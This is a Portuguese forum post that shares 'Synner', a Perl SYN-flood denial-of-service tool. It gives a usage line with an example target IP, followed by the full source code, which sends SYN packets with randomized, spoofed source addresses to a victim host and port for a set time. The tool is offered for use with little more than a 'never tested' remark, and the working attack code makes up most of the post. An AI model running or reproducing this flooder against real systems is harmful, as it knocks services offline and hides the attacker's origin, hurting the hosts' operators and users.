Synner Novo Sys(TCP) Flooder em Perl
Publicado por Franzé Jr Magalhães 01/01/2006
[ Hits: 10.595 ]
Ferramenta muito similar a outros flooders Sys TCP. Essa trabalha mandando pacotes Sys ao host e a porta específicada. Diferente de outros flooders, Synner consome toda a conexão.
Use: ./synner.pl IP PORTA TEMPO
Ex.: ./synner.pl 200.151.20.141 80 10
É necessário que você tenha o Net::RawIP instalado.
Perceba:
# WARNING: Never tested in real world :}
Garanto que eu também não testei, mas existe um comentário na Securiteam que é uma ótima ferramenta.
Fonte:
http://www.securiteam.com/tools/6K00M0KEUW.html
#!/usr/bin/perl # # Synner.pl # # Other Spoof-DoS tool written by nuTshell # <carloslack at gmail dot com> # <http://gotfault.net/~nutshell> # # Description: # This small tool is similar many other tcp syn flooders out there. # It works sending syn tcp packets to destination host:port, # spoofing it`s own ip addresses by sending randon source host:port # packets. # Be carefull, becouse you really need strong link otherwise # you`ll get f*. Unlike panic.pl , synner.pl consumes much # bandwidth resources. # # Required: # Install Net::RawIP from cpan or get it`s .tar,gz from somewhere. # It`s up to you. # # This tool does SPOOF your ip. # # Run it as ROOT (Net::RawIP needs). # Usage: ./synner.pl <ip> <port> <time> # # Greetz goes to: Shorgen, hexdump, Codak, khz, spidersoft, # Barros, xgc, btaranto, Acid-Warz, F-117... # # WARNING: Never tested in real world :} # #Make sure to get and install this module from cpan: use Net::RawIP; #Display help message: sub usage() { die "Use $0 <ip> <port> <time>n"; } #Function to control synner`s execution time: sub get_time() { $finaltime = time; $endme = $finaltime-$begintime; } #Bit useless...: if (@ARGV>3) {&usage} $ipdest = $ARGV[0] or &usage; $destport = $ARGV[1] or &usage; #Time is required to avoid endless execution (keep in mind that synner eats bandwidth): $time = $ARGV[2] or &usage; #Source port of our packets, include as many as you want: @tmpport = (1756,1026,1739,4055,2001,3055,1999,2873,20000,5476,9132,6000,9000,1234); #2 arrays that will give us randon ip addr: @iparray_round1 = (1,2); @iparray_round2 = (0,1,2,3,4,5,6,7,8,9); print "[!] Synpack.pl spoof-DoS tool written by nuTshelln"; print "[!] You better have huge link :)n"; print "[!] Time: $timen"; print "[!] Destination victin-> $ipdest:$destportn"; #Set $packet as handle of our raw packets: $packet = new Net::RawIP; #Get start time: $begintime = $^T; #Call get_time(): get_time(); while($endme < $time) { #Now build randon xxx.xxx.xxx.xxx: for ($z=0;$z<4;$z++) { #I use number 2 for every first numbers of each octet: for($I=0;$I<1;$I++) { $ip .= 2; } #Here i keep two options for every second numbers of each octet: for($kick=0;$kick<1;$kick++) { $iparray_round1 = $iparray_round1[rand(@iparray_round1)] ; $ip .= $iparray_round1; } #For all the last third of each octets i use range between 0<->9: for($you=0;$you<1;$you++) { $iparray_round2 = $iparray_round2[rand(@iparray_round2)] ; $ip .= $iparray_round2; } #Insert dot between each octet: $ip .= "."; } #The last one dot must be erased: chop($ip); #Routine to create/send spoofed packets, thanks to Net::RawIP: $tmpport = $tmpport[rand(@tmpport)]; $packet->set( { ip => { saddr => $ip, #Victin ip daddr => $ipdest #Victin port }, tcp => { source => $tmpport, #Source ip(Spoofed and randomized) dest => $destport, #source port(Randomized) psh => 1, ack => 0, syn => 1, data => '31337' } } ); #Send it: $packet->send(0,1) ; print "[*] From-> $ip:randon_portr"; #Reset last ip for new one: $ip = ''; #Call get_time(): get_time(); } #That`s all folks! print "nDone!n"; #eof
Perl Check Port - Entenda melhor os sockets
Upload de múltiplos arquivos para Imageshack.us
Burlando o "Protetor de links" INVERTIDO para download grátis
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Como renomear arquivos de letras maiúsculas para minúsculas
Imprimindo no formato livreto no Linux
Vim - incrementando números em substituição
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Não to conseguindo resolver este problemas ao instalar o playonelinux (1)
Excluir banco de dados no xampp (1)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta